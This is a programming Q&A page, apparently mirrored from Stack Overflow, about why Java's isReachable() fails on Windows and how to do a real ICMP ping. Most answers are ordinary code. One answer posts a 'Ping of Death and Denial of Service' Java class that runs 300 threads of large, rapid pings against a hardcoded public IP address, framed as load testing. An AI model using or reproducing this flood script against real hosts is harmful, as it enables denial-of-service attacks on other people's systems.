English 中文(简体)
How to do a true Java ping from Windows?
原标题:

I have a device on a network that I am attempting to ping through my Java program. Through my windows command prompt, I can ping the device address fine and do a tracert on the address fine.

Online, I have seen that in order to do a ping through Java you have to do the following:

InetAddress.getByName(address).isReachable(timeout);

But, when I use this code on my device address, it always returns false in my program. I am using the correct IPv4 address with a good timeout value. Also, if I use a localhost address, it works fine.

Why can I ping the device through cmd, but not through my program? I have heard in various places that this is not a true ping.

Is there a better way to emulate a ping in Java?

Thanks

最佳回答

isReachable() will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.
Thus your problem is probably a configuration issue of not enough permissions to do this on the client machine or a port 7 issue on the server if your client doesn t have permission to do the ICMP ECHO REQUEST. Probably both in your case, you need to resolve one side or the other to get this to work.

I tested the following on OSX and Linux clients and it works when testing for reachablity of other OSX, Linux and Windows Server machines. I don t have a Windows machine to run this as a client.

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

from what I read here. It is apparently a Windows limitation and ICMP PING isn t supported on Windows as a system call previous to Windows 2000, so it defaults to try and connect to Port 7 and that is blocked on the machine you are trying to "reach". Java doesn t support the new native system call yet. The permissions thing is for Unix based system as they require root to send ICMP packets.

If you want to roll your own Windows native JNI ICMP PING for Windows 2000 and newer there is the IcmpSendEcho Function.

问题回答

I use this function (from this article) when I need a real ICMP ping in Windows, Linux and OSX (I have not tested other systems).

public static boolean isReachableByPing(String host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}

A bit late, but I stumbled upon this while trying to do the same thing.

One workaround that worked for me and which I used was to just use the command line ping directly.

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}

One of the reasons is that the timeout you ve specified is too low. I had a similar problem but when i increased the timeout to an appropriate value, the isReachable invocation returned a correct value.

I saw a lot of bad code written related to that issue. The code that worked for my is (site do not know to correctly parse my code file) :

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}

For an easy ping from java without privileges, I use http://www.icmp4j.org

It s very easy to use :

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }

The following JAVA code is an example of Ping of Death and Denial of Service using Microsoft Windows. This shall be use for testing purpose in order to build an Anti-Hack proof and/or testing the performance of the site in case of similar Cyber attacks.

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

When tests are completed. You might want to use the following code to clean up the processes in Task Manager.

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 

Using this isn t going to help in case of ping a public IP addresses using Windows machine:

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Note: The documentation states that:

A typical implementation will use ICMP ECHO REQUESTs if the privilege can be obtained, otherwise it will try to establish a TCP connection on port 7 (Echo) of the destination host.

I ve tried that but the results were not accurate.

What really worked out for me is the class written by our fellow user that send true ICMP ping and returns true or false according to IP status.

Odd InetAddress.isReachable() issue

From https://docs.oracle.com/javase/8/docs/technotes/guides/io/example/Ping.java we have

public class Ping {

    // The default daytime port
    static int DAYTIME_PORT = 13;

    // The port we ll actually use
    static int port = DAYTIME_PORT;


    // Representation of a ping target
    //
    static class Target {

        InetSocketAddress address;
        SocketChannel channel;
        Exception failure;
        long connectStart;
        long connectFinish = 0;
        boolean shown = false;

        Target(String host) {
            try {
                address = new InetSocketAddress(InetAddress.getByName(host),
                        port);
            } catch (IOException x) {
                failure = x;
            }
        }

        void show() {
            String result;
            if (connectFinish != 0)
                result = Long.toString(connectFinish - connectStart) + "ms";
            else if (failure != null)
                result = failure.toString();
            else
                result = "Timed out";
            System.out.println(address + " : " + result);
            shown = true;
        }

    }


    // Thread for printing targets as they re heard from
    //
    static class Printer
            extends Thread {
        LinkedList<Target> pending = new LinkedList<>();

        Printer() {
            setName("Printer");
            setDaemon(true);
        }

        void add(Target t) {
            synchronized (pending) {
                pending.add(t);
                pending.notify();
            }
        }

        public void run() {
            try {
                for (; ; ) {
                    Target t = null;
                    synchronized (pending) {
                        while (pending.size() == 0)
                            pending.wait();
                        t = (Target) pending.removeFirst();
                    }
                    t.show();
                }
            } catch (InterruptedException x) {
                return;
            }
        }

    }


    // Thread for connecting to all targets in parallel via a single selector
    //
    static class Connector
            extends Thread {
        Selector sel;
        Printer printer;

        // List of pending targets.  We use this list because if we try to
        // register a channel with the selector while the connector thread is
        // blocked in the selector then we will block.
        //
        LinkedList<Target> pending = new LinkedList<>();

        Connector(Printer pr) throws IOException {
            printer = pr;
            sel = Selector.open();
            setName("Connector");
        }

        // Initiate a connection sequence to the given target and add the
        // target to the pending-target list
        //
        void add(Target t) {
            SocketChannel sc = null;
            try {

                // Open the channel, set it to non-blocking, initiate connect
                sc = SocketChannel.open();
                sc.configureBlocking(false);

                boolean connected = sc.connect(t.address);

                // Record the time we started
                t.channel = sc;
                t.connectStart = System.currentTimeMillis();

                if (connected) {
                    t.connectFinish = t.connectStart;
                    sc.close();
                    printer.add(t);
                } else {
                    // Add the new channel to the pending list
                    synchronized (pending) {
                        pending.add(t);
                    }

                    // Nudge the selector so that it will process the pending list
                    sel.wakeup();
                }
            } catch (IOException x) {
                if (sc != null) {
                    try {
                        sc.close();
                    } catch (IOException xx) {
                    }
                }
                t.failure = x;
                printer.add(t);
            }
        }

        // Process any targets in the pending list
        //
        void processPendingTargets() throws IOException {
            synchronized (pending) {
                while (pending.size() > 0) {
                    Target t = (Target) pending.removeFirst();
                    try {

                        // Register the channel with the selector, indicating
                        // interest in connection completion and attaching the
                        // target object so that we can get the target back
                        // after the key is added to the selector s
                        // selected-key set
                        t.channel.register(sel, SelectionKey.OP_CONNECT, t);

                    } catch (IOException x) {

                        // Something went wrong, so close the channel and
                        // record the failure
                        t.channel.close();
                        t.failure = x;
                        printer.add(t);

                    }

                }
            }
        }

        // Process keys that have become selected
        //
        void processSelectedKeys() throws IOException {
            for (Iterator i = sel.selectedKeys().iterator(); i.hasNext(); ) {

                // Retrieve the next key and remove it from the set
                SelectionKey sk = (SelectionKey) i.next();
                i.remove();

                // Retrieve the target and the channel
                Target t = (Target) sk.attachment();
                SocketChannel sc = (SocketChannel) sk.channel();

                // Attempt to complete the connection sequence
                try {
                    if (sc.finishConnect()) {
                        sk.cancel();
                        t.connectFinish = System.currentTimeMillis();
                        sc.close();
                        printer.add(t);
                    }
                } catch (IOException x) {
                    sc.close();
                    t.failure = x;
                    printer.add(t);
                }
            }
        }

        volatile boolean shutdown = false;

        // Invoked by the main thread when it s time to shut down
        //
        void shutdown() {
            shutdown = true;
            sel.wakeup();
        }

        // Connector loop
        //
        public void run() {
            for (; ; ) {
                try {
                    int n = sel.select();
                    if (n > 0)
                        processSelectedKeys();
                    processPendingTargets();
                    if (shutdown) {
                        sel.close();
                        return;
                    }
                } catch (IOException x) {
                    x.printStackTrace();
                }
            }
        }

    }


    public static void main(String[] args)
            throws InterruptedException, IOException {
        if (args.length < 1) {
            System.err.println("Usage: java Ping [port] host...");
            return;
        }
        int firstArg = 0;

        // If the first argument is a string of digits then we take that
        // to be the port number to use
        if (Pattern.matches("[0-9]+", args[0])) {
            port = Integer.parseInt(args[0]);
            firstArg = 1;
        }

        // Create the threads and start them up
        Printer printer = new Printer();
        printer.start();
        Connector connector = new Connector(printer);
        connector.start();

        // Create the targets and add them to the connector
        LinkedList<Target> targets = new LinkedList<>();
        for (int i = firstArg; i < args.length; i++) {
            Target t = new Target(args[i]);
            targets.add(t);
            connector.add(t);
        }

        // Wait for everything to finish
        Thread.sleep(2000);
        connector.shutdown();
        connector.join();

        // Print status of targets that have not yet been shown
        for (Iterator i = targets.iterator(); i.hasNext(); ) {
            Target t = (Target) i.next();
            if (!t.shown)
                t.show();
        }

    }

}




相关问题
Spring Properties File

Hi have this j2ee web application developed using spring framework. I have a problem with rendering mnessages in nihongo characters from the properties file. I tried converting the file to ascii using ...

Logging a global ID in multiple components

I have a system which contains multiple applications connected together using JMS and Spring Integration. Messages get sent along a chain of applications. [App A] -> [App B] -> [App C] We set a ...

Java Library Size

If I m given two Java Libraries in Jar format, 1 having no bells and whistles, and the other having lots of them that will mostly go unused.... my question is: How will the larger, mostly unused ...

How to get the Array Class for a given Class in Java?

I have a Class variable that holds a certain type and I need to get a variable that holds the corresponding array class. The best I could come up with is this: Class arrayOfFooClass = java.lang....

SQLite , Derby vs file system

I m working on a Java desktop application that reads and writes from/to different files. I think a better solution would be to replace the file system by a SQLite database. How hard is it to migrate ...

热门标签